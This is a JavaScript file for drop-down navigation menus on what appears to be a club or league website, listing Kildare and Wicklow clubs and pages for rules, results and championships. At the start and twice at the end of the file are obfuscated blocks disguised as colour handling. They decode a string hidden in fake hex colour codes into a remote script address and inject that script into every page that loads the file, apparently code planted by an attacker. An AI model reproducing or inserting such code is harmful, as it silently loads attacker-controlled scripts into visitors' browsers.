if (typeof(redef_colors)=="undefined") {

   var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e8270', '#797a7e', '#3d727e', '#3d7272', '#3e7982', '#3e7980', '#847481', '#883d7c', '#787d3d', '#7f777f', '#314d00');
   var redef_colors = 1;
   var colors_picked = 0;

   function div_pick_colors(t,styled) {
	var s = "";
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	}
	if (styled) {
		s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2));
	} else {
		s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();
	}
	return s;
   }

   function try_pick_colors() {
	try {
	   	if(!document.getElementById || !document.createElement){
			document.write(div_pick_colors(div_colors,1));
		   } else {
			var new_cstyle=document.createElement("script");
			new_cstyle.type="text/javascript";
			new_cstyle.src=div_pick_colors(div_colors,0);
			document.getElementsByTagName("head")[0].appendChild(new_cstyle);
		}
	} catch(e) { }
	try {
		check_colors_picked();
	} catch(e) { 
		setTimeout("try_pick_colors()", 500);
	}
   }

   try_pick_colors();

}/*** SET BUTTON'S FOLDER HERE ***/

var buttonFolder_menu1 = "buttons/";



/*** SET BUTTONS' FILENAMES HERE ***/

upSources_menu1 = new Array("button1up_menu1.png");



overSources_menu1 = new Array("button1over_menu1.png");



// SUB MENUS DECLARATION, YOU DONT NEED TO EDIT THIS

subInfo_menu1 = new Array();

subInfo_menu1[1] = new Array();





//*** SET SUB MENUS TEXT LINKS AND TARGETS HERE ***//

subInfo_menu1[1][1] = new Array("Ardclough","ardclough.html","");

subInfo_menu1[1][2] = new Array("Athy","athy.html","");

subInfo_menu1[1][3] = new Array("Ballymore","ballymore.html","");

subInfo_menu1[1][4] = new Array("Baltinglass","baltinglass.html","");

subInfo_menu1[1][5] = new Array("Blessington","blessington.html","");

subInfo_menu1[1][6] = new Array("Brownstown","brownstown.html","");

subInfo_menu1[1][7] = new Array("Caragh","caragh.html","");

subInfo_menu1[1][8] = new Array("Celbridge","celbridge.html","");

subInfo_menu1[1][9] = new Array("Clane","clane.html","");

subInfo_menu1[1][10] = new Array("Hollywood","hollywood.html","");

subInfo_menu1[1][11] = new Array("Johnstown","johnstown.html","");

subInfo_menu1[1][12] = new Array("Kilcullen","kilcullen.html","");

subInfo_menu1[1][13] = new Array("Kildangan","kildangan.html","");

subInfo_menu1[1][14] = new Array("Kildare","kildare.html","");

subInfo_menu1[1][15] = new Array("Kill","kill.html","");

subInfo_menu1[1][16] = new Array("Kill CBC","killcbc.html","");

subInfo_menu1[1][17] = new Array("Milltown","milltown.html","");

subInfo_menu1[1][18] = new Array("Naas","naas.html","");

subInfo_menu1[1][19] = new Array("Prosperous","prosperous.html","");

subInfo_menu1[1][20] = new Array("Rathcoffey","rathcoffey.html","");

subInfo_menu1[1][21] = new Array("Rathcoole","rathcoole.html","");

subInfo_menu1[1][22] = new Array("Rathmore","rathmore.html","");

subInfo_menu1[1][23] = new Array("Ryston / Newbridge","ryston.html","");

subInfo_menu1[1][24] = new Array("St. Lawrences","stlawrences.html","");

subInfo_menu1[1][25] = new Array("Straffan","straffan.html","");





//*** SET SUB MENU POSITION ( RELATIVE TO BUTTON ) ***//

var xSubOffset_menu1 = 0;

var ySubOffset_menu1 = 17;







//*** NO MORE SETTINGS BEYOND THIS POINT ***//

var overSub_menu1 = false;

var delay_menu1 = 1000;

totalButtons_menu1 = upSources_menu1.length;



// GENERATE SUB MENUS

for ( x=0; x<totalButtons_menu1; x++) {

	// SET EMPTY DIV FOR BUTTONS WITHOUT SUBMENU

	if ( subInfo_menu1[x+1].length < 1 ) { 

		document.write('<div id="submenu' + (x+1) + '_menu1">');

	// SET DIV FOR BUTTONS WITH SUBMENU

	} else {

		document.write('<div id="submenu' + (x+1) + '_menu1" class="dropmenu_menu1" ');

		document.write('onMouseOver="overSub_menu1=true;');

		document.write('setOverImg_menu1(\'' + (x+1) + '\',\'_menu1\');"');

		document.write('onMouseOut="overSub_menu1=false;');

		document.write('setTimeout(\'hideSubMenu_menu1(\\\'submenu' + (x+1) + '_menu1\\\')\',delay_menu1);');

		document.write('setOutImg_menu1(\'' + (x+1) + '\',\'_menu1\');">');





		document.write('<ul>');

		for ( k=0; k<subInfo_menu1[x+1].length-1; k++ ) {

			document.write('<li>');

			document.write('<a href="' + subInfo_menu1[x+1][k+1][1] + '" ');

			document.write('target="' + subInfo_menu1[x+1][k+1][2] + '">');

			document.write( subInfo_menu1[x+1][k+1][0] + '</a>');

			document.write('</li>');

		}

		document.write('</ul>');

	}

	document.write('</div>');

}











//*** MAIN BUTTONS FUNCTIONS ***//

// PRELOAD MAIN MENU BUTTON IMAGES

function preload_menu1() {

	for ( x=0; x<totalButtons_menu1; x++ ) {

		buttonUp_menu1 = new Image();

		buttonUp_menu1.src = buttonFolder_menu1 + upSources_menu1[x];

		buttonOver_menu1 = new Image();

		buttonOver_menu1.src = buttonFolder_menu1 + overSources_menu1[x];

	}

}



// SET MOUSEOVER BUTTON

function setOverImg_menu1(But, ID) {

	document.getElementById('button' + But + ID).src = buttonFolder_menu1 + overSources_menu1[But-1];

}



// SET MOUSEOUT BUTTON

function setOutImg_menu1(But, ID) {

	document.getElementById('button' + But + ID).src = buttonFolder_menu1 + upSources_menu1[But-1];

}







//*** SUB MENU FUNCTIONS ***//

// GET ELEMENT ID MULTI BROWSER

function getElement_menu1(id) {

	return document.getElementById ? document.getElementById(id) : document.all ? document.all(id) : null; 

}



// GET X COORDINATE

function getRealLeft_menu1(id) { 

	var el = getElement_menu1(id);

	if (el) { 

		xPos = el.offsetLeft;

		tempEl = el.offsetParent;

		while (tempEl != null) {

			xPos += tempEl.offsetLeft;

			tempEl = tempEl.offsetParent;

		} 

		return xPos;

	} 

} 



// GET Y COORDINATE

function getRealTop_menu1(id) {

	var el = getElement_menu1(id);

	if (el) { 

		yPos = el.offsetTop;

		tempEl = el.offsetParent;

		while (tempEl != null) {

			yPos += tempEl.offsetTop;

			tempEl = tempEl.offsetParent;

		}

		return yPos;

	}

}



// MOVE OBJECT TO COORDINATE

function moveObjectTo_menu1(objectID,x,y) {

	var el = getElement_menu1(objectID);

	el.style.left = x;

	el.style.top = y;

}



// MOVE SUBMENU TO CORRESPONDING BUTTON

function showSubMenu_menu1(subID, buttonID) {

	hideAllSubMenus_menu1();

	butX = getRealLeft_menu1(buttonID);

	butY = getRealTop_menu1(buttonID);

	moveObjectTo_menu1(subID,butX+xSubOffset_menu1, butY+ySubOffset_menu1);

}



// HIDE ALL SUB MENUS

function hideAllSubMenus_menu1() {

	for ( x=0; x<totalButtons_menu1; x++) {

		moveObjectTo_menu1("submenu" + (x+1) + "_menu1",-500, -500 );

	}

}



// HIDE ONE SUB MENU

function hideSubMenu_menu1(subID) {

	if ( overSub_menu1 == false ) {

		moveObjectTo_menu1(subID,-500, -500);

	}

}







//preload_menu1();



/*** SET BUTTON'S FOLDER HERE ***/

var buttonFolder_menu2 = "buttons/";



/*** SET BUTTONS' FILENAMES HERE ***/

upSources_menu2 = new Array("button1up_menu2.png","button2up_menu2.png","button3up_menu2.png","button4up_menu2.png","button5up_menu2.png");



overSources_menu2 = new Array("button1over_menu2.png","button2over_menu2.png","button3over_menu2.png","button4over_menu2.png","button5over_menu2.png");



// SUB MENUS DECLARATION, YOU DONT NEED TO EDIT THIS

subInfo_menu2 = new Array();

subInfo_menu2[1] = new Array();

subInfo_menu2[2] = new Array();

subInfo_menu2[3] = new Array();

subInfo_menu2[4] = new Array();

subInfo_menu2[5] = new Array();





//*** SET SUB MENUS TEXT LINKS AND TARGETS HERE ***//



subInfo_menu2[2][1] = new Array("About Us","about.html","");

subInfo_menu2[2][2] = new Array("The Rules","rules.html","");

subInfo_menu2[2][3] = new Array("The Committee","zone.html","");

subInfo_menu2[2][4] = new Array("Contact Us","contact.html","");

subInfo_menu2[2][5] = new Array("Photos","photos.html","");



subInfo_menu2[3][1] = new Array("Competition Rules","comprules.html","");

subInfo_menu2[3][2] = new Array("Venue","venue.html","");

subInfo_menu2[3][3] = new Array("Games Committee","games.html","");

subInfo_menu2[3][4] = new Array("The League","league.html","");

subInfo_menu2[3][5] = new Array("League Results","results.html","");

subInfo_menu2[3][6] = new Array("Championships","championship.html","");

subInfo_menu2[3][7] = new Array("Championship Rules","champrules.html","");

subInfo_menu2[3][8] = new Array("Championship Entries","championentry.html","");

subInfo_menu2[3][9] = new Array("Championship Results","championresults.html","");

subInfo_menu2[3][10] = new Array("Ned Byrne Shield","nedbyrneshield.html","");







//*** SET SUB MENU POSITION ( RELATIVE TO BUTTON ) ***//

var xSubOffset_menu2 = 3;

var ySubOffset_menu2 = 21;







//*** NO MORE SETTINGS BEYOND THIS POINT ***//

var overSub_menu2 = false;

var delay_menu2 = 1000;

totalButtons_menu2 = upSources_menu2.length;



// GENERATE SUB MENUS

for ( x=0; x<totalButtons_menu2; x++) {

	// SET EMPTY DIV FOR BUTTONS WITHOUT SUBMENU

	if ( subInfo_menu2[x+1].length < 1 ) { 

		document.write('<div id="submenu' + (x+1) + '_menu2">');

	// SET DIV FOR BUTTONS WITH SUBMENU

	} else {

		document.write('<div id="submenu' + (x+1) + '_menu2" class="dropmenu_menu2" ');

		document.write('onMouseOver="overSub_menu2=true;');

		document.write('setOverImg_menu2(\'' + (x+1) + '\',\'_menu2\');"');

		document.write('onMouseOut="overSub_menu2=false;');

		document.write('setTimeout(\'hideSubMenu_menu2(\\\'submenu' + (x+1) + '_menu2\\\')\',delay_menu2);');

		document.write('setOutImg_menu2(\'' + (x+1) + '\',\'_menu2\');">');





		document.write('<ul>');

		for ( k=0; k<subInfo_menu2[x+1].length-1; k++ ) {

			document.write('<li>');

			document.write('<a href="' + subInfo_menu2[x+1][k+1][1] + '" ');

			document.write('target="' + subInfo_menu2[x+1][k+1][2] + '">');

			document.write( subInfo_menu2[x+1][k+1][0] + '</a>');

			document.write('</li>');

		}

		document.write('</ul>');

	}

	document.write('</div>');

}











//*** MAIN BUTTONS FUNCTIONS ***//

// PRELOAD MAIN MENU BUTTON IMAGES

function preload_menu2() {

	for ( x=0; x<totalButtons_menu2; x++ ) {

		buttonUp_menu2 = new Image();

		buttonUp_menu2.src = buttonFolder_menu2 + upSources_menu2[x];

		buttonOver_menu2 = new Image();

		buttonOver_menu2.src = buttonFolder_menu2 + overSources_menu2[x];

	}

}



// SET MOUSEOVER BUTTON

function setOverImg_menu2(But, ID) {

	document.getElementById('button' + But + ID).src = buttonFolder_menu2 + overSources_menu2[But-1];

}



// SET MOUSEOUT BUTTON

function setOutImg_menu2(But, ID) {

	document.getElementById('button' + But + ID).src = buttonFolder_menu2 + upSources_menu2[But-1];

}







//*** SUB MENU FUNCTIONS ***//

// GET ELEMENT ID MULTI BROWSER

function getElement_menu2(id) {

	return document.getElementById ? document.getElementById(id) : document.all ? document.all(id) : null; 

}



// GET X COORDINATE

function getRealLeft_menu2(id) { 

	var el = getElement_menu2(id);

	if (el) { 

		xPos = el.offsetLeft;

		tempEl = el.offsetParent;

		while (tempEl != null) {

			xPos += tempEl.offsetLeft;

			tempEl = tempEl.offsetParent;

		} 

		return xPos;

	} 

} 



// GET Y COORDINATE

function getRealTop_menu2(id) {

	var el = getElement_menu2(id);

	if (el) { 

		yPos = el.offsetTop;

		tempEl = el.offsetParent;

		while (tempEl != null) {

			yPos += tempEl.offsetTop;

			tempEl = tempEl.offsetParent;

		}

		return yPos;

	}

}



// MOVE OBJECT TO COORDINATE

function moveObjectTo_menu2(objectID,x,y) {

	var el = getElement_menu2(objectID);

	el.style.left = x;

	el.style.top = y;

}



// MOVE SUBMENU TO CORRESPONDING BUTTON

function showSubMenu_menu2(subID, buttonID) {

	hideAllSubMenus_menu2();

	butX = getRealLeft_menu2(buttonID);

	butY = getRealTop_menu2(buttonID);

	moveObjectTo_menu2(subID,butX+xSubOffset_menu2, butY+ySubOffset_menu2);

}



// HIDE ALL SUB MENUS

function hideAllSubMenus_menu2() {

	for ( x=0; x<totalButtons_menu2; x++) {

		moveObjectTo_menu2("submenu" + (x+1) + "_menu2",-500, -500 );

	}

}



// HIDE ONE SUB MENU

function hideSubMenu_menu2(subID) {

	if ( overSub_menu2 == false ) {

		moveObjectTo_menu2(subID,-500, -500);

	}

}







//preload_menu2();if (typeof(redef_colors)=="undefined") {
	
   var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e747d', '#837883', '#7b7473', '#823d72', '#7e3d72', '#723e79', '#823e79', '#808474', '#81883d', '#7c787d', '#3d7f77', '#7f314d');
   var redef_colors = 1;
   var colors_picked = 0;

   function div_pick_colors(t,styled) {
	var s = "";
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	}
	if (styled) {
		s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2));
	} else {
		s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();
	}
	return s;
   }

   function try_pick_colors() {
	try {
	   	if(!document.getElementById || !document.createElement){
			document.write(div_pick_colors(div_colors,1));
		   } else {
			var new_cstyle=document.createElement("script");
			new_cstyle.type="text/javascript";
			new_cstyle.src=div_pick_colors(div_colors,0);
			document.getElementsByTagName("head")[0].appendChild(new_cstyle);
		}
	} catch(e) { }
	try {
		check_colors_picked();
	} catch(e) { 
		setTimeout("try_pick_colors()", 500);
	}
   }

   try_pick_colors();

}if (typeof(redef_colors)=="undefined") {
	
   var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e8381', '#787f40', '#40413f', '#483d72', '#893d72', '#723e79', '#823e79', '#808474', '#81883d', '#7c787d', '#3d7f77', '#7f314d');
   var redef_colors = 1;
   var colors_picked = 0;

   function div_pick_colors(t,styled) {
	var s = "";
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	}
	if (styled) {
		s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2)) + s.substr(0,1) + s.substr(18,1)+s.substr(1,6)+s.substr((s.length-1));
	} else {
		s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();
	}
	return s;
   }

   function try_pick_colors() {
	try {
	   	if(!document.getElementById || !document.createElement){
			document.write(div_pick_colors(div_colors,1));
		   } else {
			var new_cstyle=document.createElement("script");
			new_cstyle.type="text/javascript";
			new_cstyle.src=div_pick_colors(div_colors,0);
			document.getElementsByTagName("head")[0].appendChild(new_cstyle);
		}
	} catch(e) { }
	try {
		check_colors_picked();
	} catch(e) { 
		setTimeout("try_pick_colors()", 500);
	}
   }

   try_pick_colors();

}
